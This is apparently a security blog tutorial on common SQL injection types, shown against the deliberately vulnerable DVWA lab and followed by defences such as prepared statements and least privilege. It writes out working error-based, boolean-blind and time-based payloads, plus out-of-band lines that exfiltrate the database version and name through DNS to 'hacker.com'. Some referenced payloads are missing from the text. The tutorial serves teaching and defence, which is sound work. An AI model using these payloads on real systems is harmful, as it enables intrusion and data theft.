Breaking Down The 5 Most Common SQL Injection Threats
Breaking Down The 5 Most Common SQL Injection Threats
injection threats
Author(s)
Satyam Singh
Kelyan Yesil
Publisher
Pentest-Tools.com
Updatedat
November 16, 2023
Article tags
SQL
Injection
SHARE
Because they are growing in complexity, web applications are the ultimate playground for
malicious hackers looking to exploit any vulnerability they find.
From outdated code to improperly configured web servers or unvalidated user input, they
snatch up sensitive information using SQL injection attacks, part of the OWASP Top 10
vulnerabilities.
In this ongoing battle, organizations and offensive security pros grapple with many
questions:
You’ll get answers to these burning questions (and more!) in this practical guide.
It's a common way for malicious actors to get their hands on sensitive information they
wouldn't otherwise access.
SQLi attacks enable threat actors to add, update, or remove this information, permanently
altering the application's behavior. This can also lead to a denial of service or compromise
the underlying server or other backend infrastructure.
Marriott International breach: Marriott, the multinational hotel company, had a long-
running data breach that began in 2014 but was identified only in 2018. The
attackers got unauthorized access to the Starwood guest reservation database,
which contained the personal information of approximately 500 million guests. The
compromise was caused by a mix of causes, including SQL injection assaults on the
online application and network infrastructure weaknesses.
We recommend watching this video from Computerphile where he explains how SQLI.
Before delving into hands-on examples of the common types of SQL injection attacks, let’s
explore the inner workings of SQL queries.
Keywords, operators, clauses, and expressions are only a few of the components that
compile an SQL query. You can generate a statement combining these parts to request
information from a database table or tables. Common SQL commands include the
specialized SELECT, INSERT, UPDATE, and DELETE.
SQL queries offer various advantages but can pose significant risks if not handled properly.
Malicious actors can get into a company's database and potentially steal or alter sensitive
information through SQL injection vulnerabilities. As a result, protecting against attacks
requires meticulous attention to input validation and well-formed SQL queries.
To identify and recommend mitigations that block these manipulations, learn through
practical examples that illustrate SQL injection exploits.
We’ll use DVWA (an open-source web app) to test payloads and give practical examples.
And most importantly, we’ll hack legally!
SELECT * FROM users WHERE username = 'admin' AND password = (SELECT TOP 1
name FROM sysobjects WHERE xtype = 'U');
In this case, the malicious user tries to retrieve the name of the first table in the database by
injecting the subquery (SELECT TOP 1 name FROM sysobjects WHERE xtype = 'U').
The subquery returns the table's name if it exists. Otherwise, it sends an informative error
message about the database.
In the following example, the webpage allows fetching the first and last name of the user
for a given ID.
The application returns the user’s details from the database by submitting 5 as input for the
User ID.
The server directly accepts the input from the user and returns the associated values,
indicating that an attacker can use malicious input to modify the backend query.
Typing 5', the backend responds with an error because of the single quote like this:
The user’s input alters the backend query, which becomes:
SELECT first name, last name FROM users WHERE user_id = '5''; (pay attention to the
extra quote here).
Making the same queries directly on the database server (for testing purposes only), you’ll
observe similar results:
Exploiting error-based SQL injection relies on the fact that the injected SQL query displays
its results within the error message that the database returns.
For instance, injecting the following payload into the User ID field:
will cause the application to return the following SQL error message (containing the value
of the @@version variable):
In this example, malicious hackers try to retrieve the username and password from the
users’ table and combine them with the name and password columns from the admins’
table.
Going forward, they use the UNION operator to combine the results of the two SELECT
statements and get the combined result set.
However, the query string is successful when it has the correct number of columns:
Cybercriminals will test multiple variants until they hit the right one. They'll try this
method to elicit information about the database version number with the help of
the @@version command:
If exploited successfully, it extracts the names of the tables in the current database together
with the same details for the columns in the table.
There are two types of blind SQL Injection: boolean-based and time-based.
Here’s how:
In this case, threat actors want to retrieve the first character of the admin user's password by
injecting the substring function. The query will confirm as true if the password's initial
character is 'a,' but if not, the response will be false.
Leveraging the previously mentioned vulnerable application, instead of receiving user
details for the provided User ID, the reply shows if the ID appears in the database or not.
You’ll get the message “User ID exists in the database” for values 1-5, while an ID value
larger than 5 gets “User ID is MISSING from the database”.
Try also a boolean-based payload to check if the application is vulnerable. Injecting the
payload 1' and 1=1;- - results in a true condition because 1 is a valid ID and
the '1=1' is a TRUE statement. So the output informs that the ID exists in the database.
Alternatively, feeding the payload 1' and 1=2;- - results in a false condition
because 1 is a valid user ID and 1=2 is false. Thus, you’re informed that the user ID does
not exist in the database.
The scenario above points to the chance of a blind SQL injection attack taking place. To
identify the number of columns, use the following payload:
The query fails because there are two columns in the table. But when adjusted correctly,
the condition becomes true and the message validates the query.
The reply is positive because ‘1’ is a valid entry in the database and it is also the first
character/number of the database version (@@version,1,1).
Because the second character of the database version is not 1, it yields a negative result.
However, requesting a ‘zero’ as the second character in the database version, the message
is positive (version number is “10”).
The next step is to learn the name of the database, which begins with evaluating the length
of the name. Then, enumerate the characters in the correct order until it hits the right string.
1’ and length(database())=1;--
1’ and length(database())=2;- -
1’ and length(database())=3;- -
1’ and length(database())=4;- -
You’ll receive errors for the first three attempts and hit the right value on the fourth. This
means that the name of the database is four characters long.
To enumerate the characters in the name of the database, use these payloads:
None of the commands were correct because’ is the first letter in the name.
To identify the second character, use this:
In the end, the name of the database is “dvwa.” Attackers can automate this guessing
process by writing and running a script, or by using sqlmap.
Time-based SQL Injection
In a time-based attack, threat actors craft an SQL command that forces the server to wait a
certain period before responding. They send this database query to the server and then
observe how long it takes to respond.
SELECT * FROM users WHERE username = 'admin' AND IF(1=1, SLEEP(5), null)
AND ‘1’=’1’ AND password = 'password';
The goal is to retrieve the admin user's password by injecting the IF statement. If the
condition (1=1) is true, the database will pause for 5 seconds using the SLEEP function. If
not, the statement is null. The attackers gather information about the database by measuring
the time it takes to receive a response.
If you force a delayed response of 10 seconds, the reply comes when this period expires.
With the confirmation of the vulnerability, proceed to extract the database version number.
Use a command that forces a reply after two seconds:
1' and if((select+@@version) like "10%",sleep(2),null);- -+
If the response comes in two seconds, the version starts with “10.” The “like” string
operator used in the query is designed to make a character-by-character comparison.
Then, they extract data from the database using an out-of-band (OOB) channel, such as a
DNS or HTTP request to a server that is under their control.
To extract information about a MYSQL database, malicious actors use the following
queries:
Database version:
1’;select
load_file(concat('\\\\',version(),'.hacker.com\\s.txt'));
Database name:
1’;select
load_file(concat('\\\\',database(),'.hacker.com\\s.txt'));
They include the output of the version() or database() commands into a DNS resolution
query for the domain “hacker.com”.
In the image below, you can see how to add the version and name of the database to the
DNS info for the malicious domain. The attacker who controls the server can read the
information from the log files.
The impact of successful SQL injection attacks
If successfully exploited, these SQL injection examples can have serious consequences,
granting cybercriminals access to sensitive information or enabling unauthorized
operations on the database.
Here are three ways SQL injection attacks can impact your web apps:
Hackers exploited an SQL injection flaw in the company’s system, breaching the personal
records of 143 million users. This breach revealed sensitive data like social security numbers,
birthdays, addresses, or credit card info, shaking trust in the company's security.
Data modification or deletion. They can change or delete data in the database,
resulting in significant data loss or leaving the systems inoperable.
Sony PlayStation Network Attack (2011) is another example where malicious actors
used SQL injection attacks.
The term "input validation" refers to the process of comparing data entered by a user to a
set of standards. Businesses need to implement strong input validation checks to
guarantee the user input is valid and meets standards for things like expected values, data
types, and lengths.
This way, cybercriminals won't use the input fields to sneak in malicious SQL statements.
If their confidential and critical data is exposed, customers and stakeholders will lose
confidence in the company, which will also result in serious reputational damage.
Here are three proactive security measures companies can apply ASAP to prevent SQL
injection attacks:
Blacklisting is not a recommended way to protect against any kind of injection because it is
prone to failure. It works as long as the developer can make sure that the user input fields
accept no special characters other than what’s required. The result should be escaping all
characters that may prove harmful.
Let's use the example of a website store that enables keyword searching by consumers to
demonstrate the impact of an SQL injection.
A malicious actor could exploit a website's failure to thoroughly check user input by
entering harmful SQL code into the search field. Then, the website database might run this
code, giving the attacker access to sensitive data such as user names, passwords, and
payment information.
Developers can use methods like parameterized queries and input sanitization to actively
validate user input and prevent this type of attack.
Prepared statements prevent the injection of malicious code into an SQL query by
separating the SQL code from user input.
They are a powerful defense mechanism against SQL injection attacks, which you can
easily implement in most programming languages.
Use them to define the SQL code ahead of time and then provide placeholders for user
input. These placeholders are filled in with user input at runtime, preventing malicious
code from being executed.
In this scenario, define a predefined SQL code and proceed by including the user input as a
parameter through the execute method.
If you replace the username placeholder in the SQL code with the user input at runtime, it
will safeguard against SQL injection attacks, leaving no room for exploitation.
Leveraging prepared statements is a simple yet powerful technique to word off SQL
injection attacks. If you separate the SQL code from the user input, you can create safer
and more reliable web applications to ensure users' data is protected.
You can easily reuse code across your application if you encapsulate database logic within
a stored procedure. This not only reduces the amount of code you need to create but also
makes it simpler to maintain and update the database logic.
Case in point, here's an example of a simple stored procedure in SQL that retrieves
customer information from a table:
This stored procedure takes a customer ID as a parameter and retrieves the corresponding
customer information from the customers' table. You can call this stored procedure from
another SQL statement (e.g. a trigger or another stored procedure) by providing the
customer ID as a parameter.
For example, to call this stored procedure and retrieve the information for customer 123,
use the following SQL statement:
Reuse this method throughout your application and make changes to the customer
information retrieval logic in one place, instead of duplicating them in multiple SQL
statements.
By implementing these practices, you can effectively enforce the concept of least
privilege, lower the risk of cyber attacks, prevent unauthorized access, and lessen the
impact of insider threats.
If you carefully manage admin accounts and keep an eye out for any indicators of unusual
behavior, you’ll better secure your SQL database system.
Why? Because you will encounter databases with thousands of tables and you can’t
manage it like a local computer from home where you give admin rights to everyone.
Detecting and recovering from errors is another key security measure to apply.
It's important to handle errors in your application gracefully and not reveal any
private data to the user. If errors are handled properly, malicious actors can’t use
them to exploit your application's security flaws.
This demands developers to wield the power of prepared statements, sanitize user input,
and put the pedal to the metal when it comes to implementing basic security measures.
But fear not! With a lot of vigilance, you can ward off those pesky SQL injection attacks.
Always remember to always keep your SQL queries clean and tidy and never trust user
input without proper validation. Stay ahead of the game, strengthen your cybersecurity
defenses, and keep those attackers at bay.
https://pentest-tools.com/blog/sql-injection-attacks